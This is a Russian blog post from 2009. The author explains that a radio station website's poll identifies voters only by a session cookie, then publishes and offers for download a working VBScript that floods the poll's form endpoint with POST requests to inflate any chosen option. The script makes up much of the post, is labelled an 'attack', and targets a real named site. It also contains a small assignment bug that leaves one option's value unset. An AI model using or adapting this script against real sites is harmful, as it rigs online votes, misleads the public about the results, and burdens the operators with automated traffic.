Голосовалка

Nov 11, 2009 10:52

Родился скрипт, который может накручивать голосование на любое количество голосов за любой вариант на сайте Радио Рок 95.2 FM. Скачать скрипт.

Решил разжевать подробно, если кого-то заинтересуют детали. Дальше идёт нудятина.

Прогулялся я вчера по сайту Радио Рок 95.2 FM и обнаружил там замечательную голосовалку: «Где вы чаще всего слушаете РАДИО 95.2FM?». Как сознательный пользователь и человек, которому эта станция симпатична, я проголосовал за тот вариант, который соответствует действительности - «На работе», и увидел результат. Оказалось, большинство людей слушает эту станцию в машине. Ну да ладно.

Так как у станции вообще сайт появился недавно (раньше на этом домене была заглушка) мне стало интересно поковырять его, а заодно проверить голосовалку на предмет обмана. Обмануть удалось. Более того, удалось написать VB-скрипт, который накручивает голосование на нужное количество голосов. Принцип голосования прост как яблочный пирог. Ну или яичница.

При отправке своего голоса второй раз, проголосовать не удаётся. Сайт оставляет куку PHPSESSID и идентифицирует вас по ней. Если её удалить, то, обновив страницу, сайт снова позволит вам проголосовать. Поковыряв код страницы нашел такой код формы:


В машинеfont>


На работеfont>


Домаfont>


В плеереfont>

center>
form>
* This source code was highlighted with Source Code Highlighter.
который говорит нам следующее: форма отправляет вариант, который вы выбрали, методом POST
через переменную variant.

Для тех, кому это не кажется очевидным, наглядно посмотреть что отправляется POST-параметрами можно через дополнение Temper Data для FireFox-а, которое покажет примерно следующее (нас интересует правая часть окна, значение переменной variant):




Теперь, зная технологию голосования, можно его автоматизировать. К сожалению, под рукой не было никаких средств разработки, устанавливать PHP не очень хотелось. Был вариант написать на Delphi, но я его отмёл как громоздкий. Тут я вспомнил, что совершенно недавно писал VB-скрипт, который получал данные из странички используя MSXML2.XMLHTTP, - его-то я и решил использовать как шаблон.

Сказано - сделано. После небольшой отладки родился вот такой скрипт:

Option Explicit

Dim objHTTP, i, Num, Cnt

WScript.StdOut.WriteLine "95i2.fm voiting attack"
WScript.StdOut.WriteLine

' init --->
Dim v(3), v_descr(3)

v(0) = "%C2%20%EC%E0%F8%E8%ED%E5"
v_descr(0) = "В машине"

v(1) = "%20%CD%E0%20%F0%E0%E1%EE%F2%E5"
v_descr(1) = " На работе"

v_descr(2) = "%20%C4%EE%EC%E0"
v_descr(2) = " Дома"

v(3) = "%20%C2%20%EF%EB%E5%E5%F0%E5"
v_descr(3) = " В плеере"
' <--- init

' variants menu --->
Dim n, c
n = 0
For Each c In v 
  WScript.StdOut.WriteLine n & ". " & """" & v_descr(n) & """"
  n = n + 1
Next
' <--- variants menu

WScript.StdOut.WriteLine
WScript.StdOut.Write "Enter variant for upgrade and press Enter: "
Num = WScript.StdIn.Read(3)

If CInt(Num) <= (UBound(v) + 1) Then
 WScript.StdOut.WriteLine "Ok. Your choice: " & """" & v_descr(Num) & """"

WScript.StdOut.WriteLine
 WScript.StdOut.Write "Enter count for upgrade: "
 Cnt = WScript.StdIn.Read(3)

' atack! --->
 If CInt(Cnt) > 0 Then 
  For i = 1 To Cnt
   WScript.StdOut.Write "Request: " & i & "... "

Set objHTTP = CreateObject("MSXML2.XMLHTTP")
   objHTTP.Open "POST", "http://95i2.fm/index.php?mod=voting", False

objHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
   objHTTP.setRequestHeader "Host", "95i2.fm"
   objHTTP.setRequestHeader "Referer", "http://95i2.fm/index.php"

objHTTP.send "variant=" & v(Num)

Set objHTTP = Nothing
   WScript.StdOut.WriteLine "Ok"
  Next
  WScript.StdOut.WriteLine
  WScript.StdOut.WriteLine "All done!"
 Else
  WScript.StdOut.WriteLine """" & CInt(Cnt) & """" & " - is incorrect value"
 End If ' <--- atack! 
End If

WScript.StdOut.WriteLine
Wscript.StdOut.Write "Press the Enter to continue."
Do While Not WScript.StdIn.AtEndOfLine
  Input = WScript.StdIn.Read(2)
Loop

* This source code was highlighted with Source Code Highlighter.
Скачать скрипт

Запускается скрипт просто:




В результате программа задаст пару вопросов и начнёт накрутку…




Спасибо, пожалуйста.

компьютерное